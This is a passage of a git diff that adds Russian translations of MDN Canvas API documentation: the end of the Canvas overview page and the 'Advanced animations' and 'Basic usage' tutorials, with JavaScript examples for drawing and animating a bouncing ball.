+<p>Приложения от Mozilla поддерживают <code>&lt;canvas&gt;</code> начиная с Gecko 1.8 (т.е. <a href="/en-US/docs/Firefox_1.5_for_developers" title="Firefox_1.5_for_developers">с Firefox 1.5</a>). Этот элемент первоначально был представлен Apple для OS X <a class="external" href="http://www.apple.com/macosx/features/dashboard/">Dashboard</a> и Safari. Internet Explorer поддерживает<code> &lt;canvas&gt;</code> начиная с 9 версии; для более ранних версий IE поддержку для &lt;canvas&gt; можно добавить с помощью скрипта из проекта Google's <a class="external" href="http://excanvas.sourceforge.net/">Explorer Canvas</a>. Google Chrome и Opera 9 также поддерживают <code>&lt;canvas&gt;</code>.</p>
+
+<p>Элемент <code>&lt;canvas&gt;</code> также используется технологией <a href="/en-US/docs/WebGL" title="WebGL">WebGL</a> для отрисовки аппаратно-ускоренной 3D-графики на вебстраницах.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Это простой пример использования {{domxref("CanvasRenderingContext2D.fillRect()")}} метода.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);
+</pre>
+
+<p>Отредактируйте код ниже, чтобы увидеть результат на холсте.</p>
+
+<div class="hidden">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.fillStyle = "green";
+ctx.fillRect(10, 10, 100, 100);&lt;/textarea&gt;</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Справочные_материалы">Справочные материалы</h2>
+
+<div class="index">
+<ul>
+ <li>{{domxref("HTMLCanvasElement")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasGradient")}}</li>
+ <li>{{domxref("CanvasPattern")}}</li>
+ <li>{{domxref("ImageBitmap")}}</li>
+ <li>{{domxref("ImageData")}}</li>
+ <li>{{domxref("TextMetrics")}}</li>
+ <li>{{domxref("Path2D")}} {{experimental_inline}}</li>
+</ul>
+</div>
+
+<p class="brush: js"><span id="result_box" lang="ru"><span>Интерфейсы, связанные с <code>WebGLRenderingContext</code>, ссылаются на </span></span><a href="/en-US/docs/Web/WebGL" title="/en-US/docs/Web/WebGL">WebGL</a>.</p>
+
+<h2 class="Documentation" id="Documentation" name="Documentation">Руководства</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Canvas_API/Tutorial">Canvas tutorial</a></dt>
+ <dd>Подробный <span id="result_box" lang="ru"><span>учебник, охватывающий как основное использование <code>&lt;canvas&gt;</code>, так и его расширенные функции.</span></span></dd>
+ <dt><a href="/en-US/Add-ons/Code_snippets/Canvas">Фрагменты кода: Canvas</a></dt>
+ <dd><span id="result_box" lang="ru"><span>Некоторые фрагменты кода, ориентированные на разработчиков, с использованием <code>&lt;canvas&gt;</code>.</span></span></dd>
+ <dt><a href="/en-US/docs/Web/API/Canvas_API/A_basic_ray-caster">Demo: A basic ray-caster</a></dt>
+ <dd>Демо анимации трассировки-лучей используя canvas.</dd>
+ <dt><a href="/en-US/docs/Web/API/Canvas_API/Drawing_DOM_objects_into_a_canvas">Drawing DOM objects into a canvas</a></dt>
+ <dd>Как рисовать DOM контент, таких как HTML элементы, в canvas.</dd>
+ <dt><a href="/en-US/docs/Web/API/Canvas_API/Manipulating_video_using_canvas">Manipulating video using canvas</a></dt>
+ <dd>Объединяет {{HTMLElement("video")}} и {{HTMLElement("canvas")}} для манипулирования видео данных в реальном времени.</dd>
+</dl>
+
+<h2 class="Resources" id="Resources" name="Resources">Ресурсы</h2>
+
+<h3 id="Основное">Основное</h3>
+
+<ul>
+ <li><a href="http://joshondesign.com/p/books/canvasdeepdive/title.html">HTML5 Canvas Deep Dive</a></li>
+ <li><a href="http://bucephalus.org/text/CanvasHandbook/CanvasHandbook.html">Справочник по Canvas</a></li>
+</ul>
+
+<h3 class="Libraries" id="Libraries" name="Libraries">Библиотеки</h3>
+
+<ul>
+ <li><a href="http://fabricjs.com">Fabric.js</a> это canvas библиотека с открытым исходным кодом с возможностями SVG парсинга.</li>
+ <li><a href="https://github.com/ericdrowell/KineticJS">Kinetic.js</a> это canvas библиотека с открытым исходным кодом ориентированная на интерактивность для настольных и мобильных приложений.</li>
+ <li><a href="http://paperjs.org/">Paper.js</a> это программируемый фреймворк векторной графики с открытым исходным кодом который запускается на HTML5 Canvas.</li>
+ <li><a href="http://libcanvas.github.com/">libCanvas</a> это мощный и лёгкий canvas фреймворк.</li>
+ <li><a href="http://processingjs.org">Processing.js</a> является портом языка обработки визуализации.</li>
+ <li><a href="https://playcanvas.com/">PlayCanvas</a> игровой движок с открытым исходным кодом.</li>
+ <li><a href="http://www.pixijs.com/">Pixi.js</a> игровой движок с открытым исходным кодом.</li>
+ <li><a href="http://www.liquidx.net/plotkit/">PlotKit</a> библиотека создание графиков и графики.</li>
+ <li><a class="link-https" href="https://github.com/jeremyckahn/rekapi">Rekapi</a> API анимации для canvas.</li>
+ <li><a href="http://senchalabs.github.com/philogl/">PhiloGL</a> WebGL фреймворк для визуализации данных, для креативного написания кода и разработки игр.</li>
+ <li><a href="http://thejit.org/">JavaScript InfoVis Toolkit</a> создаёт интерактивные 2D Canvas визуализации данных для интернета.</li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-canvas-element.html", "Canvas")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="См.также">См.также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/WebGL">WebGL</a></li>
+</ul>
diff --git a/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html b/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html
new file mode 100644
index 0000000000..f9dc3f7a3e
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/advanced_animations/index.html
@@ -0,0 +1,376 @@
+---
+title: Расширенные анимации
+slug: Web/API/Canvas_API/Tutorial/Advanced_animations
+translation_of: Web/API/Canvas_API/Tutorial/Advanced_animations
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_animations", "Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas")}}</div>
+
+<div class="summary">
+<p><span class="notranslate">В предыдущей главе мы сделали несколько <a href="/ru/docs/Web/API/Canvas_API/Tutorial/Basic_animations">базовых анимаций</a> и узнали, как можно двигать вещи.</span> <span class="notranslate"> В этой части мы более подробно рассмотрим само движение и собираемся добавить некоторую физику, чтобы сделать наши анимации более продвинутыми.</span></p>
+</div>
+
+<h2 id="Рисование_мяча"><span class="notranslate">Рисование мяча</span></h2>
+
+<p><span class="notranslate">Мы собираемся использовать шар для наших анимационных исследований, поэтому давайте сначала нарисуем этот шар на </span><code> canvas</code><span class="notranslate">.</span> Нам нужен следующий код.</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="600" height="300"&gt;&lt;/canvas&gt;
+</pre>
+
+<p><span class="notranslate">Как обычно, нам нужен контекст рисования.</span> Чтобы нарисовать шар, мы создадим объект <code>ball</code>, который содержит свойства и метод <code>draw()</code> , чтобы нарисовать его на <code>canvas</code>.</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+var ball = {
+  x: 100,
+  y: 100,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+ball.draw();</pre>
+
+<p><span class="notranslate">Здесь нет ничего особенного, шар на самом деле представляет собой простой круг и рисуется с помощью метода</span> {{domxref("CanvasRenderingContext2D.arc()", "arc()")}}.</p>
+
+<h2 id="Добавление_скорости"><span class="notranslate">Добавление скорости</span></h2>
+
+<p>Теперь, когда у нас есть шар, мы готовы добавить базовую анимацию, как мы узнали из последней <a href="/ru/docs/Web/API/Canvas_API/Tutorial/Basic_animations">главы</a> этого урока. <span class="notranslate">Опять же,</span> {{domxref("window.requestAnimationFrame()")}} <span class="notranslate">помогает нам контролировать анимацию.</span> <span class="notranslate">Мяч перемещается, добавляя вектор скорости в положение.</span> <span class="notranslate">Для каждого кадра мы также</span> {{domxref("CanvasRenderingContext2D.clearRect", "очищаем", "", 1)}} <span class="notranslate"> холст, чтобы удалить старые круги из предыдущих кадров.</span></p>
+
+<pre class="brush: js; highlight:[8,9,24,25]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();
+</pre>
+
+<h2 id="Границы"><span class="notranslate" style="background-color: #e6ecf9;">Границы</span></h2>
+
+<p><span class="notranslate">Без какого-либо граничного коллизионного тестирования наш мяч быстро выбегает из холста.</span> <span class="notranslate"> Нам нужно проверить, не находятся ли <code>x</code> и <code>y</code> положения шара вне размеров холста и не инвертируют направление векторов скорости.</span> <span class="notranslate"> Для этого мы добавим следующие проверки в метод <code>draw</code> :</span></p>
+
+<pre class="brush: js">if (ball.y + ball.vy &gt; canvas.height || ball.y + ball.vy &lt; 0) {
+  ball.vy = -ball.vy;
+}
+if (ball.x + ball.vx &gt; canvas.width || ball.x + ball.vx &lt; 0) {
+  ball.vx = -ball.vx;
+}</pre>
+
+<h3 id="Первое_демо"><span class="notranslate">Первое демо</span></h3>
+
+<p><span class="notranslate">Посмотрим, как он выглядит в действии.</span> <span class="notranslate"> Переместите мышь на холст, чтобы запустить анимацию.</span></p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+
+  if (ball.y + ball.vy &gt; canvas.height ||
+      ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width ||
+      ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("First_demo", "610", "310")}}</p>
+
+<h2 id="Ускорение">Ускорение</h2>
+
+<p>Чтобы сделать движение более реальным, вы можете играть со скоростью, нпример так:</p>
+
+<pre class="brush: js">ball.vy *= .99;
+ball.vy += .25;</pre>
+
+<p><span class="notranslate">Это замедляет вертикальную скорость каждого кадра, так что мяч будет просто отскакивать от пола в конце.</span></p>
+
+<div class="hidden">
+<h6 id="Second_demo">Second demo</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.clearRect(0,0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+  ball.vy *= .99;
+  ball.vy += .25;
+
+  if (ball.y + ball.vy &gt; canvas.height ||
+      ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width ||
+      ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Second_demo", "610", "310")}}</p>
+
+<h2 id="Скользящий_эффект">Скользящий эффект</h2>
+
+<p>До сих пор мы использовали метод {{domxref("CanvasRenderingContext2D.clearRect", "clearRect")}}, когда очищали предыдущий кадр. Если заменить этот метод на {{domxref("CanvasRenderingContext2D.fillRect", "fillRect")}} с полу-прозрачным стилем, можно легко создать эффект скольжения.</p>
+
+<pre class="brush: js">ctx.fillStyle = 'rgba(255, 255, 255, 0.3)';
+ctx.fillRect(0, 0, canvas.width, canvas.height);</pre>
+
+<div class="hidden">
+<h6 id="Third_demo">Third demo</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 2,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function draw() {
+  ctx.fillStyle = 'rgba(255, 255, 255, 0.3)';
+  ctx.fillRect(0, 0, canvas.width, canvas.height);
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+  ball.vy *= .99;
+  ball.vy += .25;
+
+  if (ball.y + ball.vy &gt; canvas.height ||
+      ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width ||
+      ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mouseover', function(e) {
+  raf = window.requestAnimationFrame(draw);
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+});
+
+ball.draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Third_demo", "610", "310")}}</p>
+
+<h2 id="Добавление_управления_мышью"><span class="notranslate" style="background-color: #e6ecf9;">Добавление управления мышью</span></h2>
+
+<p>Чтобы получить некоторый контроль над мячом, мы можем заставить его следовать за нашей мышью, например, с помощью события<span class="notranslate"> <code><a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=ru&amp;rurl=translate.google.com&amp;sl=en&amp;sp=nmt4&amp;tl=ru&amp;u=https://developer.mozilla.org/en-US/docs/Web/Reference/Events/mousemove&amp;usg=ALkJrhhcJqJN-yKD36pH8RkWQhb3uewyBA">mousemove</a></code> .</span> <span class="notranslate"> Событие <code><a href="https://translate.googleusercontent.com/translate_c?depth=1&amp;hl=ru&amp;rurl=translate.google.com&amp;sl=en&amp;sp=nmt4&amp;tl=ru&amp;u=https://developer.mozilla.org/en-US/docs/Web/Events/click&amp;usg=ALkJrhi9Rqodjh09zJQ7RSZkVNVqMZ5zhw">click</a></code></span> отпускает мяч и позволяет ему снова прыгать</p>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" style="border: 1px solid" width="600" height="300"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var raf;
+var running = false;
+
+var ball = {
+  x: 100,
+  y: 100,
+  vx: 5,
+  vy: 1,
+  radius: 25,
+  color: 'blue',
+  draw: function() {
+    ctx.beginPath();
+    ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, true);
+    ctx.closePath();
+    ctx.fillStyle = this.color;
+    ctx.fill();
+  }
+};
+
+function clear() {
+  ctx.fillStyle = 'rgba(255, 255, 255, 0.3)';
+  ctx.fillRect(0,0,canvas.width,canvas.height);
+}
+
+function draw() {
+  clear();
+  ball.draw();
+  ball.x += ball.vx;
+  ball.y += ball.vy;
+
+  if (ball.y + ball.vy &gt; canvas.height || ball.y + ball.vy &lt; 0) {
+    ball.vy = -ball.vy;
+  }
+  if (ball.x + ball.vx &gt; canvas.width || ball.x + ball.vx &lt; 0) {
+    ball.vx = -ball.vx;
+  }
+
+  raf = window.requestAnimationFrame(draw);
+}
+
+canvas.addEventListener('mousemove', function(e) {
+  if (!running) {
+    clear();
+    ball.x = e.clientX;
+    ball.y = e.clientY;
+    ball.draw();
+  }
+});
+
+canvas.addEventListener('click', function(e) {
+  if (!running) {
+    raf = window.requestAnimationFrame(draw);
+    running = true;
+  }
+});
+
+canvas.addEventListener('mouseout', function(e) {
+  window.cancelAnimationFrame(raf);
+  running = false;
+});
+
+ball.draw();
+</pre>
+
+<p><span class="notranslate">Переместите шар с помощью мыши и отпустите его одним щелчком.</span></p>
+
+<p>{{EmbedLiveSample("Adding_mouse_control", "610", "310")}}</p>
+
+<h2 id="Breakout(арканоид)">Breakout(арканоид)</h2>
+
+<p>В этой короткой главе описаны некоторые приемы создания продвинутой анимации.  Как насчет того, что бы добавить доску, кирпичи и превратить это демо в игру Breakout(в Росси более известный клон этой игры - арканоид)? Посетите <a href="/en-US/docs/Games">Game development</a> чтобы узнать больше об играх.</p>
+
+<h2 id="Смотрите_так_же">Смотрите так же</h2>
+
+<ul>
+ <li>{{domxref("window.requestAnimationFrame()")}}</li>
+ <li><a href="/en-US/docs/Games/Techniques/Efficient_animation_for_web_games">Efficient animation for web games</a></li>
+</ul>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_animations", "Web/API/Canvas_API/Tutorial/Pixel_manipulation_with_canvas")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html b/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html
new file mode 100644
index 0000000000..3c32d75985
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/basic_usage/index.html
@@ -0,0 +1,150 @@
+---
+title: Базовое использование Canvas
+slug: Web/API/Canvas_API/Tutorial/Basic_usage
+tags:
+  - Canvas
+translation_of: Web/API/Canvas_API/Tutorial/Basic_usage
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Web/API/Canvas_API/Tutorial", "Web/API/Canvas_API/Tutorial/Drawing_shapes")}}</div>
+
+<p class="summary">Давайте начнем этот урок с изучения элемента {{HTMLElement("canvas")}} как такового. В конце этой страницы Вы узнаете как устанавливать canvas 2D context и нарисуете первый пример в вашем браузере.</p>
+
+<h2 id="Элемент_&lt;canvas>">Элемент <code>&lt;canvas&gt;</code></h2>
+
+<pre class="brush: html notranslate">&lt;canvas id="tutorial" width="150" height="150"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>Он выглядит как элемент <code>&lt;img&gt;</code>, но его отличие в том, что он не имеет атрибутов <code>src</code> и <code>alt</code>. Элемент <code>&lt;canvas&gt;</code> имеет только два атрибута - <strong>ширину</strong> и <strong>высоту</strong>. Оба они не обязательны и могут быть выставлены с использованием свойств <a href="/en-US/docs/DOM" rel="internal" title="en/DOM">DOM</a>. Если атрибуты высоты и ширины не установлены, canvas будет по умолчанию шириной <strong>300 пикселей</strong> и в высоту <strong>150 пикселей</strong>. Вы так же можете выставить размеры произвольно в <a href="/en-US/docs/Web/CSS" rel="internal" title="en/CSS">CSS</a>, но во время рендеринга изображение будет масштабироваться в соответствии с его размером и ориентацией.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Если вид вашего изображения кажется вам искаженным, попробуйте указать атрибуты ширины и высоты в явном виде в атрибутах &lt;canvas&gt; , а не с помощью CSS.</p>
+</div>
+
+<p>Атрибут id не специфичен для элемента <code>&lt;canvas&gt;,</code> но он может быть применен по умолчанию в атрибутах HTML, так как он может быть использован (почти) для любого элемента HTML (так же как класс). Это всегда отличная идея использовать <code>id</code>, так как это позволяет намного проще идентифицировать наш элемент в сценарии.</p>
+
+<p>Элемент <code>&lt;canvas&gt;</code> может быть стилизован также, как любое изображение (margin, border, background, и т. д.). Эти правила, как бы то ни было, фактически не влияют на отрисовку в canvas. Мы увидим как это сделано позже в этом руководстве. Когда стили не указаны, canvas будет по умолчанию абсолютно прозрачным.</p>
+
+<div id="section_2">
+<h3 id="Запасное_содержимое">Запасное содержимое</h3>
+
+<p>Из-за того, что старые браузеры (в особенности, версии Internet Explorer раннее чем 9) не поддерживают элемент {{HTMLElement("canvas")}}, Вам следует предоставить запасное содержимое для отображения этими браузерами.</p>
+
+<p>Это очень просто: мы всего лишь предоставляем альтернативное содержимое внутри элемента <code>&lt;canvas&gt;</code>. Браузеры, которые не поддерживают <code>&lt;canvas&gt;</code> проигнорируют container и отобразят запасное содержимое этого тега. Браузеры, которые поддерживают <code>&lt;canvas&gt;</code> проигнорируют запасное содержимое, и просто нормально отобразят canvas.</p>
+
+<p>Например, мы можем предоставить текстовое описание содержимого canvas или предоставить статичное изображение динамически отображаемого содержимого. Это может выглядеть как-то так:</p>
+
+<pre class="brush: html notranslate">&lt;canvas id="stockGraph" width="150" height="150"&gt;
+  current stock price: $3.15 +0.15
+&lt;/canvas&gt;
+
+&lt;canvas id="clock" width="150" height="150"&gt;
+  &lt;img src="images/clock.png" width="150" height="150" alt=""/&gt;
+&lt;/canvas&gt;
+</pre>
+
+<p>Сообщать пользователю о том, что его браузер не поддерживает canvas не поможет тем, кто не может прочесть содержимое тега canvas, к примеру. Предоставление полезной информации в дополнительном canvas <a href="https://developer.mozilla.org/en-US/docs/Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility">делает этот тег более доступным для широкого использования.</a></p>
+
+<h3 id="Требуется_тег_&lt;canvas>"><span class="short_text" id="result_box" lang="ru"><span class="hps">Требуется</span> <span class="hps">тег </span></span><code>&lt;/canvas&gt;</code></h3>
+
+<p>В отличии от элемента {{HTMLElement("img")}}, элемент {{HTMLElement("canvas")}}  <strong>требует</strong> закрывающийся тег (<code>&lt;/canvas&gt;</code>). Если этот тег не предоставлен, остаток документа будет считаться запасным контентом и не будет отображен.</p>
+
+<p>Если запасной контент не нужен, простой  <code>&lt;canvas id="foo" ...&gt;&lt;/canvas&gt;</code> полностью совместим со всеми браузерами, что поддерживают canvas.</p>
+
+<h2 id="Рендеринг_содержимого_контекста">Рендеринг содержимого (контекста)</h2>
+
+<p>Элемент {{HTMLElement("canvas")}} в документе создается с фиксированным размером элемента для рисования, который может иметь один или несколько контекстов для рендеринга, создавая и манипулируя содержимым для показа. В данном руководстве мы сфокусируемся на 2D рендеринге. Другие контексты могут предоставлять разные типы рендеринга, к примеру WebGl использует 3D контекст основанный на <a href="http://www.khronos.org/opengles/">OpenGL ES</a>.</p>
+
+<p>Холст изначально пустой и прозрачный. Первым делом скрипт получает доступ к контексту и отрисовывает его. Элемент {{HTMLElement("canvas")}} имеет <a href="/en-US/docs/Web/API/HTMLCanvasElement#Method">метод</a> <code>getContext()</code>, используется для получения контекста визуализации и ее функции рисования. <code>getContext()</code> принимает один параметр, тип контекста. Для 2D графики, которая охвачена этим руководством будем использвать метку "2d".</p>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('tutorial');
+var ctx = canvas.getContext('2d');
+</pre>
+
+<p>В первой строке скрипта мы получаем узел нашего холста {{HTMLElement("canvas")}}, далее с помощью  {{domxref("document.getContext()")}} метода мы присваиваем ему контекст. Имея узел элемента , вы всегда можете получить для рисования контекст при помощи метода <code>getContext()</code>.</p>
+
+<div id="section_5">
+<h2 id="Проверка_поддержки">Проверка поддержки</h2>
+
+<p>Ранее уже упоминалось, что в браузерах, которые не поддерживают {{HTMLElement("canvas")}} отображается запасное содержимое. Но помимо этого, определить, поддерживает ли браузер <code>canvas</code>, можно прямо из кода, проверив наличие метода <code>getContext()</code>. Код с запасным содержимым, который мы приводили Выше, становится следующим:</p>
+
+<pre class="brush: js notranslate">var canvas = document.getElementById('tutorial');
+
+if (canvas.getContext){
+  var ctx = canvas.getContext('2d');
+  // drawing code here
+} else {
+  // canvas-unsupported code here
+}
+</pre>
+</div>
+</div>
+
+<h2 id="Скелет_шаблона">Скелет шаблона</h2>
+
+<p>Здесь минимальный шаблон, который мы будем использовать как начальную точку для дальнейших примеров.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> вставка скрипта внутрь HTML не является хорошей практикой. Мы делаем это здесь, чтобы сделать пример короче.</p>
+</div>
+
+<pre class="notranslate"><code>&lt;!DOCTYPE html&gt;</code>
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Canvas tutorial&lt;/title&gt;
+    &lt;script type="text/javascript"&gt;
+      function draw(){
+        var canvas = document.getElementById('tutorial');
+        if (canvas.getContext){
+          var ctx = canvas.getContext('2d');
+        }
+      }
+    &lt;/script&gt;
+    &lt;style type="text/css"&gt;
+      canvas { border: 1px solid black; }
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body onload="draw();"&gt;
+    &lt;canvas id="tutorial" width="150" height="150"&gt;&lt;/canvas&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Скрипт вызывает функцию draw(), которая выполнится, когда страница закончит загрузку. Это делается путем события {{event("load")}} в документе. Эта функция может быть вызвана как единожды, так и с помощью данных методов {{domxref("window.setTimeout()")}}, {{domxref("window.setInterval()")}}, или любым другим обработчиком события, когда страница будет загружена.</p>
+
+<p>Вот как шаблон будет выглядеть в действии.</p>
+
+<p>{{EmbedLiveSample("Скелет_шаблона", 160, 160)}}</p>
+
+<h2 id="Простой_пример">Простой пример</h2>
+
+<p>Для начала, давайте посмотрим на простой пример, который рисует два пересекающихся прямоугольника, один из которых имеет прозрачность alpha. Мы изучим, как это работает более детально в последующих примерах.</p>
+
+<pre class="notranslate"><code>&lt;!DOCTYPE html&gt;</code>
+&lt;html&gt;
+ &lt;head&gt;
+  &lt;script type="application/javascript"&gt;
+    function draw() {
+      var canvas = document.getElementById("canvas");
+      if (canvas.getContext) {
+        var ctx = canvas.getContext("2d");
+
+        ctx.fillStyle = "rgb(200,0,0)";
+        ctx.fillRect (10, 10, 55, 50);
+
+        ctx.fillStyle = "rgba(0, 0, 200, 0.5)";
+        ctx.fillRect (30, 30, 55, 50);
+      }
+    }
+  &lt;/script&gt;
+ &lt;/head&gt;
+ &lt;body onload="draw();"&gt;
+   &lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;
+ &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p>Этот пример выглядит так:</p>
+
+<p>{{EmbedLiveSample("Простой_пример", 160, 160, "https://mdn.mozillademos.org/files/228/canvas_ex1.png")}}</p>
+
+<p>{{PreviousNext("Web/API/Canvas_API/Tutorial", "Web/API/Canvas_API/Tutorial/Drawing_shapes")}}</p>
diff --git a/files/ru/web/api/canvas_api/tutorial/finale/index.html b/files/ru/web/api/canvas_api/tutorial/finale/index.html
new file mode 100644
index 0000000000..63187795bd
--- /dev/null
+++ b/files/ru/web/api/canvas_api/tutorial/finale/index.html
@@ -0,0 +1,51 @@
+---
+title: Finale
+slug: Web/API/Canvas_API/Tutorial/Finale
+translation_of: Web/API/Canvas_API/Tutorial/Finale
+---
